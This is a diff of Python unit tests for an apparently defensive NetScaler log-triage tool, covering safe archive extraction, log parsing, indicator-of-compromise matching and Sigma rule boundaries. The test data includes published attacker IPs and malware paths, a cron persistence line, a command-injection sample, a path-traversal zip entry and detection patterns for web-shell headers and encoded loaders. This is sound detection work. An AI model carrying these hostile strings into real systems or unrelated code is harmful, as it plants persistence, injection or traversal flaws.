(root / "messages.1").write_bytes(gzip.compress(b"hello\nworld\n"))
before = inventory(root)
rows = list(iter_records(root, "a"))
self.assertEqual([r["raw"] for r in rows], ["hello", "world"])
self.assertEqual(rows[1]["line"], 2)
self.assertIn("error", next(iter_records(root, "a", max_line_bytes=3)))
self.assertEqual(before, inventory(root))
def test_extract_and_fail_closed(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
src = root / "a.zip"
with zipfile.ZipFile(src, "w") as z:
z.writestr("logs/a.gz", gzip.compress(b"abc"))
manifest = extract_archive(src, root / "good")
self.assertEqual(manifest[0]["source"], "logs/a.gz")
with self.assertRaises(FileExistsError):
extract_archive(src, root / "good")
with self.assertRaises(InputError):
extract_archive(src, root / "limit", max_bytes=2)
self.assertFalse((root / "limit").exists())
with zipfile.ZipFile(src, "w") as z:
z.writestr("../escape", "bad")
with self.assertRaises(InputError):
extract_archive(src, root / "bad")
self.assertFalse((root / "bad").exists())
self.assertFalse((root / "escape").exists())
def test_nested_quota_and_symlink(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
nested = io.BytesIO()
with zipfile.ZipFile(nested, "w") as z:
z.writestr("a", "contents")
src = root / "a.zip"
with zipfile.ZipFile(src, "w") as z:
z.writestr("nested.zip", nested.getvalue())
with self.assertRaises(InputError):
extract_archive(src, root / "bad", max_depth=0)
info = zipfile.ZipInfo("link")
info.external_attr = 0o120777 << 16
with zipfile.ZipFile(src, "w") as z:
z.writestr(info, "/tmp/escape")
with self.assertRaises(InputError):
extract_archive(src, root / "bad")
def test_seven_zip(self) -> None:
import py7zr
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
src = root / "a.7z"
with py7zr.SevenZipFile(src, "w") as z:
z.writestr(b"hello\n", "logs/messages")
result = extract_archive(src, root / "good")
self.assertEqual(result[0]["source"], "logs/messages")
self.assertEqual((root / "good/logs/messages").read_bytes(), b"hello\n")
with self.assertRaises(InputError):
extract_archive(src, root / "limit", max_bytes=2)
if __name__ == "__main__":
unittest.main()
+171
View File
@@ -0,0 +1,171 @@
"""Public intelligence provenance and representative matching regressions."""
import base64
import json
import tempfile
import unittest
from pathlib import Path
from typing import Any, ClassVar
from urllib.parse import quote
from netscaler_triage.decoding import decode_layers, has_encoding_candidate
from netscaler_triage.engine import scan
from netscaler_triage.matching import Matcher, public_config
class IntelInventoryTests(unittest.TestCase):
catalog: ClassVar[dict[str, Any]]
matcher: ClassVar[Matcher]
@classmethod
def setUpClass(cls) -> None:
cls.catalog = public_config()
cls.matcher = Matcher([])
def test_unique_catalog_and_resolvable_public_provenance(self) -> None:
sources = {row["id"]: row for row in self.catalog["sources"]}
self.assertGreaterEqual(len(sources), 37)
rows = self.catalog["indicators"]
self.assertEqual(len(rows), len({(row["type"], row["value"]) for row in rows}))
self.assertEqual(len(rows), len({row["id"] for row in rows}))
for row in rows:
with self.subTest(indicator=row["id"]):
self.assertTrue(row["roles"])
self.assertTrue(row["observations"])
self.assertTrue(row["source_ids"])
for source_id in row["source_ids"]:
self.assertIn(source_id, sources)
self.assertIn(sources[source_id]["url"], row["source_urls"])
for observation in row["observations"]:
self.assertTrue(observation["source_dates"])
self.assertIn("original_status", observation)
for date in observation["source_dates"]:
self.assertIn(date["id"], sources)
self.assertIn("published", date)
self.assertTrue(date["retrieved"])
urls = {source["url"] for source in sources.values()}
self.assertIn(
"https://misp.ifin.network/feed/63670851-a19e-4fc4-8fe5-c89bebc8e921.json", urls
)
self.assertTrue(any("elastic" in url for url in urls))
self.assertTrue(any("sygnia.co" in url for url in urls))
def test_secondary_direction_conflicts_and_shared_proxy_context_survive(self) -> None:
rows = self.catalog["indicators"]
observations = [ob for row in rows for ob in row["observations"]]
conflicts = [
ob
for ob in observations
if ob.get("misp_type") == "ip-dst" and "direction conflict" in ob.get("description", "")
]
self.assertTrue(conflicts)
shared = next(row for row in rows if row["value"] == "104.28.215.136")
context = [ob for ob in shared["observations"] if ob.get("misp_to_ids") is False]
self.assertTrue(context)
self.assertTrue(any(ob["original_status"] == "context_only" for ob in context))
self.assertIn("shared", json.dumps(shared).lower())
def test_every_public_indicator_matches_raw_and_decoded_views(self) -> None:
for row in self.catalog["indicators"]:
value = row["value"]
with self.subTest(indicator=row["id"]):
_, hits, _ = self.matcher.search_with_details(value)
self.assertTrue(any(hit["id"] == row["id"] for hit in hits))
raw = self.matcher.search_sigma({"raw": value})
if value == "/var/python/bin/customsnmpd":
self.assertFalse(
raw
) # Legitimate binary: standalone Sigma intentionally omitted.
else:
self.assertTrue(any("raw" in hit["basis"] for hit in raw))
encoded = base64.b64encode(value.encode()).decode()
layers = decode_layers("base64:" + encoded)
decoded = [
layer["output"]
for layer in layers
if layer.get("output") and layer.get("output_encoding") != "hex"
]
self.assertIn(value, decoded)
sigma = self.matcher.search_sigma({"raw": "encoded event"}, decoded)
if value == "/var/python/bin/customsnmpd":
self.assertFalse(sigma)
else:
self.assertTrue(
any(any(b.startswith("decoded:") for b in hit["basis"]) for hit in sigma)
)
escaped = quote(value, safe="")
if escaped != value:
url_layers = decode_layers(escaped)
self.assertTrue(any(layer.get("output") == value for layer in url_layers))
def test_encoding_gate_accepts_canonical_public_indicator_fields(self) -> None:
for row in self.catalog["indicators"]:
encoded = base64.b64encode(row["value"].encode()).decode()
for value in (encoded, encoded.rstrip("=")):
with self.subTest(indicator=row["id"], encoded=value):
self.assertTrue(has_encoding_candidate(value))
self.assertTrue(has_encoding_candidate("payload=" + value))
for payload in ("HTTP_X_UX", "HTTP_X_UX" * 8):
encoded = base64.b64encode(payload.encode()).decode().rstrip("=")
self.assertTrue(has_encoding_candidate(encoded))
for ordinary in ("heartbeat", "INFO routine system heartbeat", "GET / HTTP/1.1"):
self.assertFalse(has_encoding_candidate(ordinary))
# A valid but noncanonical spelling must not pass the whole-field gate.
self.assertFalse(has_encoding_candidate("SFRUUF9YX1VZ=="))
def test_ipv4_literals_do_not_match_address_prefixes(self) -> None:
for row in self.catalog["indicators"]:
if row["type"] != "ipv4":
continue
for text in ("9" + row["value"], row["value"] + "9", row["value"] + ".1"):
with self.subTest(value=row["value"], text=text):
_, hits, _ = self.matcher.search_with_details(text)
self.assertFalse(any(hit["id"] == row["id"] for hit in hits))
self.assertFalse(self.matcher.search_sigma({"raw": text}))
def test_behavior_patterns_match_real_syntax_not_escaped_backslashes(self) -> None:
samples = [
"SSL_HANDSHAKE_FAILURE DTLSv1.0 Handshake failure-Internal Error",
"NSPPE-42 exit with orphan rings",
"pitboss PPE unexpectedly died NSPPE;id;#",
"HTTP_X_UX_0",
"*/5 * * * * root perl /var/tmp/.nsmon/nsmon.pl",
]
for sample in samples:
with self.subTest(sample=sample):
self.assertTrue(self.matcher.search_sigma({"raw": sample}))
benign = self.matcher.search_sigma({"raw": "pitboss PPE missed too many heartbeats"})
self.assertFalse(any(hit.get("level") in {"high", "critical"} for hit in benign))
def test_http_user_agent_encodings_keep_original_and_source_metadata(self) -> None:
payload = "/var/tmp/.nsmon/nsmon.pl 149.104.78.208"
b64 = base64.b64encode(payload.encode()).decode()
variants = [
quote(payload, safe=""),
b64,
b64.rstrip("="),
quote(base64.b64encode(quote(payload, safe="").encode()).decode(), safe=""),
]
originals = [
f'192.0.2.10 - - [01/Oct/2026:12:00:00 +0000] "GET / HTTP/1.1" 200 0 "-" "{variant}"'
for variant in variants
]
with tempfile.TemporaryDirectory() as directory:
root = Path(directory).resolve()
logs = root / "logs"
logs.mkdir()
(logs / "httpaccess.log").write_text("\n".join(originals) + "\n")
output = root / "output"
scan([("ADC", logs)], output, [])
events = [
json.loads(line) for line in (output / "findings.jsonl").read_text().splitlines()
]
self.assertEqual(len(events), len(originals))
for event, original in zip(events, originals, strict=True):
self.assertEqual(event["raw"], original)
hits = [
hit for hit in event["indicator_matches"] if hit["value"] == "149.104.78.208"
]
self.assertTrue(hits)
self.assertTrue(all(hit["source_urls"] and hit["source_ids"] for hit in hits))
self.assertTrue(any(layer.get("output") == payload for layer in event["decoding"]))
+88
View File
@@ -0,0 +1,88 @@
import unittest
from typing import Any
from netscaler_triage.parsing import parse_record
class ParsingTests(unittest.TestCase):
def test_native_correlation_fields(self) -> None:
row = self.parse(
'Sep 28 09:10:11 host bash[1]: return_code="0" trans id 12345 Context [email protected]'
)
self.assertEqual(row["fields"]["return_code"], "0")
self.assertEqual(row["fields"]["transaction_id"], "12345")
self.assertEqual(row["fields"]["context"], "[email protected]")
row = self.parse('Sep 28 09:10:11 host CMD_EXECUTED 12 - Status "Success"')
self.assertEqual(row["fields"]["command_status"], "Success")
def test_attacker_username_is_not_update(self) -> None:
row = self.parse('Sep 28 09:10:11 host aaad[42]: User "installns upgrade rebooting" failed')
self.assertEqual(row["categories"], [])
def test_proxy_source(self) -> None:
row = self.parse(
'192.0.2.40 -> 198.51.100.10 - - [01/Oct/2026:12:02:28 +0000] "GET / HTTP/1.1" 200 5'
)
self.assertEqual(row["fields"]["dest"], "198.51.100.10")
def parse(self, raw: str, **kwargs: Any) -> dict[str, Any]:
return parse_record({"raw": raw}, **kwargs)
def test_access_payload_not_update(self) -> None:
row = self.parse(
'192.0.2.40 - - [01/Oct/2026:12:02:28 +0200] [23] "GET '
'/installns?date=2020-01-01T00:00:00Z HTTP/1.1" 404 23 "-" "x"'
)
self.assertEqual(row["timestamp"], "2026-10-01T10:02:28Z")
self.assertEqual(row["fields"]["uri"], "/installns?date=2020-01-01T00:00:00Z")
self.assertEqual(row["categories"], [])
def test_missing_year_and_gmt(self) -> None:
row = self.parse(
"Sep 30 16:00:54 <local0.warn> 198.51.100.10 09/30/2026:14:00:54 GMT ns "
"0-PPE-0 : message"
)
self.assertEqual(row["timestamp"], "2026-09-30T14:00:54Z")
self.assertIsNone(self.parse("Sep 30 16:00:54 host bash[1]: installns")["timestamp"])
row = self.parse(
"Sep 30 16:00:54 host bash[1]: installns", year=2026, timezone="Europe/Berlin"
)
self.assertEqual(row["timestamp"], "2026-09-30T14:00:54Z")
self.assertEqual(row["fields"]["update_evidence"], "installer_invocation")
def test_historical_explicit_year(self) -> None:
row = self.parse(
"COLLECTOR::INFOA::Sun Sep 28 09:11:12 2025:Successfully loaded "
"configuration(NS13.1-60.20)",
year=2026,
timezone="UTC",
)
self.assertEqual(row["timestamp"], "2025-09-28T09:11:12Z")
self.assertEqual(row["fields"]["versions"], ["13.1-60.20"])
self.assertIn("version", row["categories"])
def test_dst_ambiguity(self) -> None:
self.assertIsNone(
self.parse("2026-10-25 02:30:00 message", timezone="Europe/Berlin")["timestamp"]
)
self.assertIsNone(
self.parse("2026-03-29 02:30:00 message", timezone="Europe/Berlin")["timestamp"]
)
def test_nssetup_version_transition(self) -> None:
row = self.parse(
"Sep 28 09:10:11 host nssetup[386]: ns_conf_check(): This is an upgrade "
"from NetScaler NS13.1 build 50.10 to build 60.20",
year=2026,
timezone="UTC",
)
self.assertEqual(row["fields"]["builds"], ["50.10", "60.20"])
self.assertEqual(row["fields"]["update_relation"], "explicit_upgrade_from_to")
row = self.parse(
"Sep 28 09:10:11 host nssetup[386]: This is NetScaler version NS13.1, build 60.20"
)
self.assertEqual(row["fields"]["versions"], ["13.1-60.20"])
if __name__ == "__main__":
unittest.main()
+173
View File
@@ -0,0 +1,173 @@
import gzip
import io
import tempfile
import unittest
import zipfile
from pathlib import Path
from typing import IO, Any, cast
from unittest.mock import patch
from netscaler_triage.ingest import InputError, iter_records
from netscaler_triage.preparation import prepare_inputs
class PreparationTests(unittest.TestCase):
def test_corrupt_archive_does_not_abort_other_inputs(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
(root / "bad.zip").write_bytes(b"not a zip")
(root / "good.log").write_text("evidence\n")
groups, manifest = prepare_inputs([root / "bad.zip", root / "good.log"], root / "out")
self.assertEqual(len(groups), 1)
errors = [row for row in manifest if row["action"] == "error"]
self.assertEqual(errors[0]["error"], "ArchiveError")
self.assertIn("sha256", errors[0])
def test_unreadable_file_is_manifest_error(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
source = root / "source"
source.mkdir()
(source / "bad").write_text("private")
(source / "good").write_text("evidence")
original = Path.open
def guarded(path: Path, *args: Any, **kwargs: Any) -> IO[Any]:
if path == source / "bad":
raise PermissionError(13, "denied", str(path))
return cast(IO[Any], original(path, *args, **kwargs))
with patch.object(Path, "open", guarded):
groups, manifest = prepare_inputs([source], root / "out")
self.assertEqual(len(groups), 1)
self.assertEqual([r["source"] for r in manifest if r["action"] == "error"], ["bad"])
self.assertEqual(
[p.name for _, folder in groups for p in folder.rglob("*") if p.is_file()], ["good"]
)
def test_password_and_combined_archive_budget(self) -> None:
import py7zr
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
encrypted = root / "private.7z"
with py7zr.SevenZipFile(
encrypted, "w", password="test-secret", header_encryption=True
) as z:
z.writestr(b"log evidence\n", "log/messages")
groups, manifest = prepare_inputs([encrypted], root / "good", password="test-secret")
self.assertEqual(len(groups), 1)
self.assertNotIn("test-secret", str(manifest))
archives = []
for name in ("a.zip", "b.zip"):
path = root / name
with zipfile.ZipFile(path, "w", compression=zipfile.ZIP_DEFLATED) as z:
z.writestr("messages", "A" * 1000)
archives.append(path)
limit = sum(p.stat().st_size for p in archives) + 1999
with self.assertRaises(InputError):
prepare_inputs(archives, root / "limited", max_bytes=limit)
self.assertFalse((root / "limited").exists())
def test_multiple_appliances_and_gzip(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
source = root / "export.zip"
with zipfile.ZipFile(source, "w") as archive:
archive.writestr("wrapper/QS/var/log/messages", b"first\n")
archive.writestr("wrapper/PROD/var/log/messages.gz", gzip.compress(b"second\n"))
before = source.read_bytes()
groups, manifest = prepare_inputs([source], root / "prepared")
self.assertEqual(len(groups), 2)
records = [r for name, folder in groups for r in iter_records(folder, name)]
self.assertEqual({r["raw"] for r in records}, {"first", "second"})
self.assertFalse(any(r.get("error") for r in records))
self.assertEqual(before, source.read_bytes())
self.assertEqual(sum(r["action"] == "scan_root" for r in manifest), 2)
def test_toolkit_exclusions_preserve_script_evidence(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
source = root / "source"
source.mkdir()
(source / "pyproject.toml").write_text('[project]\nname = "netscaler-triage"\n')
(source / "src").mkdir()
(source / "src/tool.py").write_text("tool")
(source / "results").mkdir()
(source / "results/old.log").write_text("old")
(source / "messages").write_text("evidence\n")
(source / "malware.py").write_text('print("evidence")\n')
groups, manifest = prepare_inputs([source], source / "new-output")
files = {p.name for _, folder in groups for p in folder.rglob("*") if p.is_file()}
self.assertEqual(files, {"messages", "malware.py"})
self.assertEqual(
{r["source"] for r in manifest if r["action"] == "excluded"},
{"src", "results", "pyproject.toml", "new-output"},
)
def test_plain_evidence_src_is_not_toolkit(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
source = root / "source"
(source / "src").mkdir(parents=True)
(source / "src/malware.py").write_text("code evidence")
groups, _ = prepare_inputs([source], root / "out")
self.assertEqual(sum(len(list(p.rglob("malware.py"))) for _, p in groups), 1)
def test_gzip_wrapped_zip_and_nested_named_archive(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
source = root / "source.zip"
zipped = io.BytesIO()
with zipfile.ZipFile(zipped, "w") as archive:
archive.writestr("log/messages", "hello\n")
with zipfile.ZipFile(source, "w") as archive:
archive.writestr("inner.gz", gzip.compress(zipped.getvalue()))
groups, _ = prepare_inputs([source], root / "out")
records = [r for name, folder in groups for r in iter_records(folder, name)]
self.assertEqual([r["raw"] for r in records], ["hello"])
def test_combined_quota_and_nooverwrite(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
a = root / "a.log"
b = root / "b.log"
a.write_bytes(b"a" * 6)
b.write_bytes(b"b" * 6)
with self.assertRaises(InputError):
prepare_inputs([a, b], root / "out", max_bytes=10)
self.assertFalse((root / "out").exists())
(root / "out").mkdir()
(root / "out/keep").write_text("safe")
with self.assertRaises(FileExistsError):
prepare_inputs([a], root / "out")
self.assertEqual((root / "out/keep").read_text(), "safe")
def test_symlink_rejected_and_source_preserved(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
source = root / "source"
source.mkdir()
(source / "real").write_text("evidence")
(source / "link").symlink_to("real")
with self.assertRaises(InputError):
prepare_inputs([source], root / "out")
self.assertFalse((root / "out").exists())
self.assertEqual((source / "real").read_text(), "evidence")
def test_two_same_named_exports_stay_distinct(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
sources = []
for n in ("one", "two"):
source = root / n / "log"
source.mkdir(parents=True)
(source / "messages").write_text(n)
sources.append(source)
groups, _ = prepare_inputs(sources, root / "out")
self.assertEqual(len(groups), 2)
self.assertEqual(len({name for name, _ in groups}), 2)
if __name__ == "__main__":
unittest.main()
+95
View File
@@ -0,0 +1,95 @@
"""Boundary semantics for the bundled public reference Sigma groups."""
import unittest
from importlib.resources import files
from typing import ClassVar
from urllib.parse import urlsplit
from netscaler_triage.sigma_rules import SigmaMatcher
class PublicBoundaryTests(unittest.TestCase):
matcher: ClassVar[SigmaMatcher]
@classmethod
def setUpClass(cls) -> None:
content = files("netscaler_triage").joinpath("data", "public_sigma.yml").read_text()
cls.matcher = SigmaMatcher.from_yaml(content)
def matched(self, kind: str, value: str, decoded: bool = False) -> bool:
hits = self.matcher.search_with_details(
{"raw": "opaque" if decoded else value}, [value] if decoded else []
)
return any(hit["name"] == "public_reference_" + kind for hit in hits)
def test_catalog_positive_raw_and_decoded_per_group(self) -> None:
for row in self.matcher.indicators:
kind, value = str(row["type"]), str(row["value"])
if kind not in {"domain", "path", "url", "sha256"}:
continue
if value == "/var/python/bin/customsnmpd":
continue # Legitimate binary intentionally omitted from standalone selectors.
with self.subTest(kind=kind, value=value):
self.assertTrue(self.matched(kind, value))
self.assertTrue(self.matched(kind, value, decoded=True))
def test_domains_accept_subdomains_not_lookalike_suffixes(self) -> None:
domain = next(str(r["value"]) for r in self.matcher.indicators if r["type"] == "domain")
self.assertTrue(self.matched("domain", "sub." + domain.upper()))
for value in ("evil" + domain, domain + ".invalid", domain + "-suffix"):
self.assertFalse(self.matched("domain", value))
def test_path_boundaries_case_and_url_embedding(self) -> None:
value = "/tmp/lula"
self.assertTrue(self.matched("path", value))
self.assertTrue(self.matched("path", "https://example.invalid" + value))
for other in (value + ".backup", value + "-longer", "/other" + value, value.upper()):
self.assertFalse(self.matched("path", other))
self.assertTrue(self.matched("path", "/directory/LoginIcon.sig"))
self.assertFalse(self.matched("path", "/directory/LoginIcon.sig.backup"))
self.assertFalse(self.matched("path", "/directory/loginicon.sig"))
def test_urls_preserve_path_case_and_reject_extension(self) -> None:
value = next(str(r["value"]) for r in self.matcher.indicators if r["type"] == "url")
parsed = urlsplit(value)
authority = parsed.scheme + "://" + parsed.netloc
self.assertTrue(self.matched("url", authority.upper() + value[len(authority) :]))
for suffix in ("-longer", ".backup", "/extra"):
self.assertFalse(self.matched("url", value + suffix))
if any(char.isalpha() for char in parsed.path):
self.assertFalse(self.matched("url", authority + value[len(authority) :].upper()))
def test_hashes_require_token_boundaries(self) -> None:
value = next(str(r["value"]) for r in self.matcher.indicators if r["type"] == "sha256")
self.assertTrue(self.matched("sha256", value.upper()))
self.assertFalse(self.matched("sha256", "f" + value))
self.assertFalse(self.matched("sha256", value + "z"))
class PublicLongLineTests(unittest.TestCase):
def test_encoded_loader_bounds_long_negative_and_positive_lines(self) -> None:
content = files("netscaler_triage").joinpath("data", "public_sigma.yml").read_text()
matcher = SigmaMatcher.from_yaml(content)
loader = next(
rule for rule in matcher.rules if rule.metadata["name"] == "sygnia-encoded-loader"
)
long_encoded = "QUJD" * 200000
self.assertFalse(loader.predicate({"raw": long_encoded}))
self.assertTrue(loader.predicate({"raw": long_encoded + " NSPPE base64 httpaccess"}))
self.assertTrue(loader.predicate({"raw": "first line\nNSPPE base64 httpaccess"}))
self.assertFalse(loader.predicate({"raw": "NSPPE\nbase64 httpaccess"}))
def test_crash_lookahead_long_negatives_and_line_semantics(self) -> None:
content = files("netscaler_triage").joinpath("data", "public_sigma.yml").read_text()
matcher = SigmaMatcher.from_yaml(content)
crash = next(
rule
for rule in matcher.rules
if rule.metadata["name"] == "elastic-inspired-crash-shell"
)
for text in ("QUJD" * 200000, "pitboss; " + "packet " * 100000):
self.assertFalse(crash.predicate({"raw": text}))
self.assertTrue(crash.predicate({"raw": "QUJD" * 200000 + " pitboss NSPPE;"}))
self.assertTrue(crash.predicate({"raw": "first\npitboss packet engine;"}))
self.assertFalse(crash.predicate({"raw": "pitboss packet\nengine;"}))
self.assertFalse(crash.predicate({"raw": "pitboss engine packet;"}))
+69
View File
@@ -0,0 +1,69 @@
"""Bundled public references work offline without incident-specific configuration."""
import ipaddress
import json
import tempfile
import unittest
from pathlib import Path
from netscaler_triage.engine import scan
from netscaler_triage.matching import Matcher, load_config, public_config
class PublicDefaultsTests(unittest.TestCase):
def test_packaged_references_have_sources_and_only_public_addresses(self) -> None:
config = public_config()
sources = {row["id"] for row in config["sources"]}
self.assertGreaterEqual(len(sources), 37)
self.assertGreaterEqual(len(config["indicators"]), 35)
self.assertGreaterEqual(len(config["patterns"]), 9)
for indicator in config["indicators"]:
self.assertEqual(indicator["status"], "reference_only")
self.assertTrue(set(indicator["source_ids"]) <= sources)
if indicator["type"] == "ipv4":
self.assertTrue(ipaddress.ip_address(indicator["value"]).is_global)
def test_default_public_ioc_and_pattern_matching(self) -> None:
matcher = Matcher([])
_, indicators = matcher.search("peer 143.198.7.94:443")
self.assertTrue(any("mandiant" in row["source_ids"] for row in indicators))
_, _, details = matcher.search_with_details("HTTP_NSC_CLIENTTYPE")
self.assertTrue(any(row.get("name") == "ti_shell_headers" for row in details))
def test_explicit_duplicate_config_does_not_duplicate_matches(self) -> None:
text = "peer 143.198.7.94:443 HTTP_NSC_CLIENTTYPE"
self.assertEqual(Matcher([]).search(text), Matcher([public_config()]).search(text))
def test_default_opt_out_keeps_explicit_configuration(self) -> None:
text = "peer 143.198.7.94:443 HTTP_NSC_CLIENTTYPE"
self.assertEqual(Matcher([], defaults=False).search(text), ([], []))
self.assertTrue(Matcher([public_config()], defaults=False).search(text)[1])
def test_scan_without_config_retains_reference_provenance(self) -> None:
with tempfile.TemporaryDirectory() as temporary:
root = Path(temporary).resolve()
source = root / "logs"
source.mkdir()
(source / "network.log").write_text("peer 143.198.7.94:443\n", encoding="utf-8")
result = scan([("adc", source)], root / "out", [])
self.assertEqual(result["counts"]["findings"], 1)
event = json.loads((root / "out/findings.jsonl").read_text())
hit = next(row for row in event["indicator_matches"] if row["value"] == "143.198.7.94")
self.assertEqual(hit["status"], "reference_only")
self.assertIn("mandiant", hit["source_ids"])
def test_own_ioc_csv_can_be_reused_as_configuration(self) -> None:
with tempfile.TemporaryDirectory() as temporary:
root = Path(temporary).resolve()
source = root / "logs"
source.mkdir()
(source / "network.log").write_text("peer 143.198.7.94:443\n", encoding="utf-8")
scan([("adc", source)], root / "out", [])
config = load_config(root / "out/IOCS.csv")
_, hits = Matcher([config], defaults=False).search("peer 143.198.7.94:443")
hit = next(row for row in hits if row["value"] == "143.198.7.94")
self.assertEqual(hit["type"], "ipv4")
if __name__ == "__main__":
unittest.main()
+65
View File
@@ -0,0 +1,65 @@
"""Keep public package sources and release inclusion rules free of case data."""
import json
import re
import tomllib
import unittest
from importlib.resources import files
from pathlib import Path
class ReleaseHygieneTests(unittest.TestCase):
def test_public_package_and_explicit_release_allowlist(self) -> None:
package = files("netscaler_triage")
personal = re.compile(
r"/(?:Users|home)/[^\s/]+|[A-Za-z]:[\\/]Users[\\/][^\s\\/]+"
r"|(?im:^[ \t]*(?:Bearbeitung|Prepared by|Analyst|Investigator|Customer|Case ID)\s*:)"
)
stack = [package]
while stack:
directory = stack.pop()
for entry in directory.iterdir():
if entry.is_dir() and entry.name != "__pycache__":
stack.append(entry)
elif entry.name.endswith((".py", ".json", ".yml", ".yaml")):
self.assertIsNone(
personal.search(entry.read_text(encoding="utf-8")), entry.name
)
public = json.loads(package.joinpath("data", "threat_intel.json").read_text())
sources = {entry["id"] for entry in public["sources"]}
for indicator in public["indicators"]:
self.assertEqual(indicator["status"], "reference_only")
self.assertTrue(set(indicator["source_ids"]) <= sources)
# Installed-wheel tests lack repository metadata; package checks above still run.
project = Path(__file__).resolve().parents[1] / "pyproject.toml"
if project.is_file():
config = tomllib.loads(project.read_text(encoding="utf-8"))
allowed = {
"src/",
"tests/",
"typing_stubs/",
"examples/",
"README.txt",
"README.md",
"RULES.txt",
"VALIDATION.txt",
"THREAT_INTELLIGENCE.txt",
"LICENSE.txt",
"config/threat_intel.json",
"uv.lock",
".python-version",
".gitignore",
"pyproject.toml",
}
ignore = (project.parent / ".gitignore").read_text().splitlines()
self.assertTrue({"private/", "/private/"} & set(ignore))
included = set(config["tool"]["hatch"]["build"]["targets"]["sdist"]["include"])
self.assertFalse(any("private" in entry for entry in included))
self.assertTrue(
included <= allowed, f"Unreviewed release include entries: {included - allowed}"
)
if __name__ == "__main__":
unittest.main()
+86
View File
@@ -0,0 +1,86 @@
"""Regression checks for independent review findings; synthetic evidence only."""
import base64
import csv
import tempfile
import unittest
from pathlib import Path
from netscaler_triage.engine import scan
from netscaler_triage.matching import Matcher
class ReviewTests(unittest.TestCase):
def test_ipv4_with_port_and_embedded_address_boundary(self) -> None:
matcher = Matcher(
[{"indicators": [{"type": "ipv4", "value": "192.0.2.1"}]}],
defaults=False,
)
self.assertTrue(matcher.search("http://192.0.2.1:443/a")[1])
self.assertFalse(matcher.search("192.0.2.10:443")[1])
self.assertFalse(matcher.search("1192.0.2.1")[1])
def test_base64_query_without_percent_encoding(self) -> None:
with tempfile.TemporaryDirectory() as temporary:
root = Path(temporary).resolve()
source = root / "logs"
source.mkdir()
(source / "access.log").write_text(
"192.0.2.1 - - [01/Oct/2026:12:00:00 +0000] "
'"GET /test?x=aWQ= HTTP/1.1" 403 0 "-" "ordinary"\n',
encoding="utf-8",
)
result = scan(
[("appliance", source)],
root / "out",
[{"patterns": [{"id": "decoded_id", "pattern": "^id$"}]}],
defaults=False,
)
self.assertEqual(result["counts"].get("findings", 0), 1)
def test_authorized_status_survives_ioc_export(self) -> None:
with tempfile.TemporaryDirectory() as temporary:
root = Path(temporary).resolve()
source = root / "logs"
source.mkdir()
(source / "access.log").write_text(
"192.0.2.1 - - [01/Oct/2026:12:00:00 +0000] "
'"GET /test HTTP/1.1" 403 0 "-" "ordinary"\n',
encoding="utf-8",
)
scan(
[("appliance", source)],
root / "out",
[
{
"indicators": [
{"type": "ipv4", "value": "192.0.2.1", "status": "authorized_test"}
]
}
],
defaults=False,
)
with (root / "out/IOCS.csv").open(encoding="utf-8", newline="") as handle:
rows = list(csv.DictReader(handle))
match = next(row for row in rows if row["value"] == "192.0.2.1")
self.assertIn("authorized_test", match["status"])
def test_incomplete_decoding_marks_partial_analysis(self) -> None:
with tempfile.TemporaryDirectory() as temporary:
root = Path(temporary).resolve()
source = root / "logs"
source.mkdir()
payload = "x:" + base64.b64encode(b"hostname " * 50).decode() + "%20"
(source / "payload.log").write_text(payload + "\n", encoding="utf-8")
result = scan(
[("appliance", source)],
root / "out",
[{"patterns": [{"id": "candidate", "pattern": "^x:"}]}],
defaults=False,
max_line_bytes=1024,
)
self.assertEqual(result["status"], "partial")
if __name__ == "__main__":
unittest.main()
+105
View File
@@ -0,0 +1,105 @@
import json
import tempfile
import unittest
from pathlib import Path
from netscaler_triage.engine import scan
from netscaler_triage.matching import Matcher
class RuleDetailsTests(unittest.TestCase):
def test_shared_rule_keeps_both_source_descriptions_without_duplicate_regex(self) -> None:
matcher = Matcher(
[
{
"patterns": [
{
"id": "shared",
"pattern": "signal",
"description": "Source one",
"source": "REF-1",
},
{
"id": "shared",
"pattern": "signal",
"description": "Source two",
"source": "REF-2",
},
]
}
],
defaults=False,
)
self.assertEqual(len(matcher.rules), 1)
_, _, details = matcher.search_with_details("signal")
self.assertEqual({row["source"] for row in details}, {"REF-1", "REF-2"})
def test_default_descriptions_and_compatible_search(self) -> None:
matcher = Matcher([], defaults=True)
ids, hits = matcher.search("payload ;hostname")
detailed_ids, detailed_hits, details = matcher.search_with_details("payload ;hostname")
self.assertEqual((ids, hits), (detailed_ids, detailed_hits))
self.assertTrue(
any(row.get("name") == "command_injection" and row["description"] for row in details)
)
def test_same_id_does_not_attribute_unmatched_description(self) -> None:
matcher = Matcher(
[
{
"patterns": [
{
"id": "custom",
"pattern": "MATCH_ME",
"description": "Matched explanation",
"source": "https://example.org/source",
},
{
"id": "custom",
"pattern": "NEVER_MATCH",
"description": "Must not be attributed",
"source": "https://example.org/other",
},
]
}
],
defaults=False,
)
ids, _, details = matcher.search_with_details("MATCH_ME")
self.assertEqual(ids, ["custom"])
self.assertEqual(len(details), 1)
self.assertEqual(details[0]["description"], "Matched explanation")
self.assertEqual(details[0]["source"], "https://example.org/source")
def test_decoded_rule_metadata_reaches_findings(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
logs = root / "logs"
logs.mkdir()
(logs / "http.log").write_text(
'192.0.2.1 - - [01/Oct/2026:12:00:00 +0000] "GET /?x=aWQ%3D HTTP/1.1" '
'404 0 "-" "ua"\n'
)
config = {
"patterns": [
{
"id": "decoded-id",
"pattern": "^id$",
"description": "The decoded value is the id command; execution is not "
"established.",
"source_id": "REF-1",
"source": "https://example.org/advisory",
}
]
}
scan([("ADC", logs)], root / "out", [config], defaults=False)
events = [
